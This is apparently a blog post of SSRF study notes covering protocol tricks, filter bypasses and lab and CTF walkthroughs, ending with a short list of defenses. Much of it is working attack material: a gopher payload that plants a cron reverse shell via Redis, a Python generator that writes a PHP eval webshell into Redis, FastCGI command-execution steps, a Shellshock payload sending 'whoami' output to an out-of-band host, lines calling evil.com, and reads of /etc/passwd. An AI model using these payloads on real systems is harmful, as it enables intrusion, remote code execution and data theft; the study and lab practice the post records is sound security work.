banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

Basic Knowledge of SSRF (Server-Side Request Forgery)

Introduction#

Many web applications provide the functionality to fetch data from other servers, commonly referred to as "external resource loading." By using user-specified URLs, web applications can perform various operations, such as fetching images, downloading files, reading file contents, etc. However, if this functionality is misused, attackers can exploit vulnerable web applications as proxies to attack remote and local servers. This type of attack is known as Server-side Request Forgery (SSRF).

In an SSRF attack, the attacker constructs special requests that cause the server-side initiated requests to target systems controlled by the attacker or internal systems. Generally, the targets of SSRF attacks are internal systems that cannot be directly accessed from the external network, such as databases, internal network interfaces, etc., allowing attackers to bypass firewalls and directly access these internal systems.

The formation of SSRF attacks is mainly due to the server providing the functionality to fetch data from other servers without sufficient filtering and restrictions on the target addresses. For example, the server may allow fetching webpage text content from specified URLs, loading images from specified addresses, downloading files, etc. If the server does not implement appropriate security controls for these operations, such as checking whether the URL points to an internal network or restricting the range of accessible URLs, attackers may exploit this functionality to conduct SSRF attacks.

Types#

  • Basic (Echo)
  • Non-echo

Exploitation Process#

Wherever there is the ability to initiate network requests externally, there may be SSRF vulnerabilities. For example, sending a request to the 8080 port of the localhost (127.0.0.1) returned relevant content, indicating the presence of an SSRF vulnerability.

image

The request packet is as follows:

POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=127.0.0.1%3A8000

Attempting to read local files (Windows)

file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts

image

image

If in a Linux environment, read the following files:

file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces

Case 1

GET request

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

Case 2

POST request

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

Exploitation Methods#

Common Exploitation Methods#

  • Internal Port Scanning
    • Use DICT, HTTP protocols to probe the open status of internal ports
    • Burp Suite brute force
    • Brute force common ports, such as 80, 8080, 3306, 6379, etc.
    • image
  • Directory Scanning
    • Burp Suite brute force
  • SQL Injection
    • Encoding format, double URL encoding
  • Command Execution
    • Encoding format, double URL encoding
    • Gopher protocol
    • URL: gopher://[host]:[port]/double URL encoded TCP data stream
  • CVE-2017-12615
    • Tomcat PUT method to write files
  • Redis Unauthorized Access Vulnerability (No Authentication)
    • DICT protocol (dict://x.x.x.x:6379/)
  • SSRF-XSS

Complex Exploitation Methods#

Blind SSRF Exploitation#

Determine whether a port is open based on response status and response time.

The following is an example table:

image

Use out-of-band techniques for blind SSRF exploitation.

Various Exploitation Protocols

file:///  
dict://  
sftp://  
ldap://  
tftp://  
gopher://

Dict Protocol#

If the server prohibits requests to external sites or allows only those in a whitelist, the dict protocol can be used.

dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)  
CLIENT libcurl 7.40.0

Gopher Protocol#

The gopher protocol supports sending GET and POST requests: you can first intercept the GET request packet and POST request packet, then construct a request that conforms to the gopher protocol.

The gopher protocol is the most powerful protocol in SSRF exploitation.

In the following case, a 302 redirect receives the request.

http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php

<?php  
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');  
?>  
  
evil.com:# nc -lvp 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)  
Hi  
ssrf  
test

Format

gopher://<host>:<port>/<gopher-path>_followed by TCP data stream

curl gopher://127.0.0.1:8000/_GET%20test

The default port for gopher is 70.

If sending a POST request, the carriage return and line feed need to be represented as %0d%0a. If there are multiple parameters, the parameters must also be URL encoded.

Sending GET Requests

If you want to send the following payload

GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1

It needs to be changed to the following format

curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

At the end of the HTTP packet, add %0d%0a, which represents the end of the message.

Sending POST Requests

POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=test

It needs to be changed to the following format

curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

Exploitation in SSRF

http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc

# Since PHP will perform a URL decoding once after receiving the parameters, it needs to be URL encoded again
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

The / in the URL cannot be double encoded, the port number cannot be double encoded, and the protocol name cannot be double encoded.

Using Gopher Protocol to Access Redis for Reverse Shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

S/FTP Protocol#

SFTP stands for SSH File Transfer Protocol, which is a secure transfer protocol used for file transfers.

http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)  
SSH-2.0-libssh2_1.4.2

TFTP#

File Transfer Protocol

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
  
evil.com:# nc -lvup 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
TESTUDPPACKEToctettsize0blksize512timeout3

File Protocol#

The file protocol is used to read sensitive files from the file system.

http://example.com/ssrf.php?url=file:///etc/passwd  
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

LDAP/S/I#

LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used to manage and access distributed directory information services over IP networks.

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

PDF SSRF#

In some cases, the server may convert uploaded files into PDF files.

Try using <iframe>, <img>, <base>, or <script> tags, CSS url() to request internal services and read sensitive files.

<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">

AVI#

FastCGI Protocol#

title: ctfhub target
  • First, listen on the server
nc -lvnp 9000 > 1.txt
  • The client connects to port 9000 using a Python script
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
  • The generated txt file is then double encoded using the following Python script
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

image

Place the payload in the vulnerability parameter.

image

Knowing the filename, use the cat command to view the flag's content

python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php

The steps are consistent with the previous ones.

Exploitation Cases#

Port Scanning#

SSRF combined with the DICT protocol can be used to probe the open status of internal ports, only capable of probing TCP echo ports.

image

Redis#

curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

Tools#

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
The above tool needs to be URL encoded again.

[[ctfhub-skilltree.md#double encoding script|URL double encoding script]]

Writing Shell to Redis

import urllib
protocol="gopher://"
ip="192.168.134.132" //IP address
port="6379" //Port
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" //Content to write is a one-liner backdoor
filename="1.php" //Filename is 1.php
path="/var/www/html" //Default path
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

Case#

[[ctfhub-skilltree.md#redis|SSRF Writing Shell to Redis Scenario]]

Bypass Techniques#

Fuzz Dictionary#

  • Web Vulnerabilities -> ssrfDicts

Whitelist#

  1. Allow specified IPs or domains to access specified resources

The whitelist is: abc.com

Directly cannot read

http://example.com/ssrf.php?url=https://google.com 

Need to find an open redirect vulnerability in the whitelist domain and exploit it in conjunction with the open redirect vulnerability.

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
  1. Subdomains

Whitelist: *.abc.com

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com 

Blacklist#

  • Change the IP to one of the bypassable IPs below
  • Encode the filtered characters
  • Or use a domain that points to localhost

Special IPs#

http://0177.1/   # Decimal http://127.0.0.1
http://0x7f.1/   # Hexadecimal http://127.0.0.1
http://127.000.000.1
https://520968996

Error IPs#

http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/

IPv6#

http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/

Other Protocols#

gopher://
dict://
php://
jar://
tftp://

DNS Spoofing#

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

Xip.io#

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

Encoding Bypass#

These include hexadecimal encoding, octal encoding, double word encoding, URL encoding, and mixed encoding.

127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74

Whitelist#

  • You can add authentication in front of the URL, separated by @, replacing the username with the internal system IP, and appending the rest of the path at the end, as follows
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/

image

  • You can also use the # sign to separate different URL segments
https://evil-host#expected-host
  • Use DNS naming structure
https://expected-host.evil-host
  • URL encode characters to obfuscate URL parsers.

302 Redirect#

Sometimes the server may filter many protocols, allowing only "http" or "https" to appear in the incoming URL. In this case, you can write a 302 redirect on your server to exploit the Gopher protocol to attack the internal Redis.

image

SSRF Lab#

Lab: Basic SSRF against the Local Server#

Capture the packet, normal request

image

Change stockApi to http://localhost/admin, directly unauthorized access to the backend panel.

image

Delete the user, input the following parameter: stockApi=http://localhost/admin/delete?username=carlos

Successfully deleted the account

image

Lab: Basic SSRF against Another Back-end System#

title: Experiment Objective
Port scan the internal network via SSRF to discover open port 8080 in the 192.168.0.X subnet

Similarly, go to the check stock page.

The normal request is as follows:

image

Send to intruder

image

Payload settings

image

By checking the response size, you can see the IP is 192.168.0.154

image

Delete user carlos, deletion successful.

image

SSRF with Blacklist-based Input Filter#

Input internal URL, intercepted

image

Bypass the blacklist, change 127.0.0.1 to 127.1, admin will also be intercepted, perform double encoding on the 'a' of admin, with the second encoding only for special characters.

image

Delete carlos account.

image

SSRF with Whitelist-based Input Filters#

image

The whitelist only allows stock.weliketoshop.net to access.

image

By inputting http://[email protected]/, it is observed that this embedded credential URL can bypass.

image

Adding a # sign after username, it is still intercepted, performing double URL encoding on the # sign, it is found to be unblocked.

http://localhost%[email protected]/

image

Followed by admin, the above image bypasses normally.

image

Post the package to delete the carlos account.

stockApi=http://localhost%[email protected]/admin/delete?username=carlos

Lab: SSRF with Filter Bypass via Open Redirection Vulnerability#

Achieve SSRF vulnerability through redirect vulnerability, target access http://192.168.0.12:8080/admin and delete the user carlos

First, you need to find an open redirect vulnerability, which can be found in the link redirection on the product detail page.

image

The link is as follows:

https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com

It can directly redirect to http://www.baidu.com.

Capture the request packet for checking stock.

Send the above packet, indicating that the path parameter is missing.

image

Removing currentProductId is sufficient.

image

Delete the user.

image

Blind SSRF with Out-of-band Detection#

The vulnerability is located in the referer.

image

Open Burp Collaborator client, copy a domain.

image

Copy it to the referer and send the request, Burp Collaborator client receives the sent request.

image

Lab: Blind SSRF with Shellshock Exploitation#

  1. To achieve this experiment, first install the "Collaborator Everywhere" plugin, which is included in the Burp store, find and install it.

  2. Visit the victim's website and capture the packet, right-click, and add to scope.

image

  1. Continue browsing the website, and the "Collaborator Everywhere" plugin will start sending requests, allowing you to view the relevant responses, indicating that there is an SSRF vulnerability here.

image

  1. The specific request is as follows

image

Additional requests have also been added.

image

Send to the intruder module for brute force, set the User-Agent to the following payload, and set the referer to the internal server subnet that needs to be brute-forced.

() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net

image

Set the parameters for brute forcing.

image

Set the threads to 1.

image

Start brute forcing and check whether the Burp Collaborator client receives the request.

image

As shown, the server's username has been obtained.

Vulnerability Impact#

SSRF can be used for port scanning on external networks, the server's internal network, and locally, attacking applications running on internal networks or locally, or using the File protocol to read local files.

Internal service defenses are generally weaker than external service defenses, and some internal services may not have access permission verification for internal access for operational convenience. Therefore, when SSRF exists, it usually causes significant harm.

Defense Methods#

  • Filter returned information
  • Unified error messages
  • Restrict request ports
  • Prohibit uncommon protocols
  • Consider using DNS caching or host whitelists for DNS rebinding

Others#

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.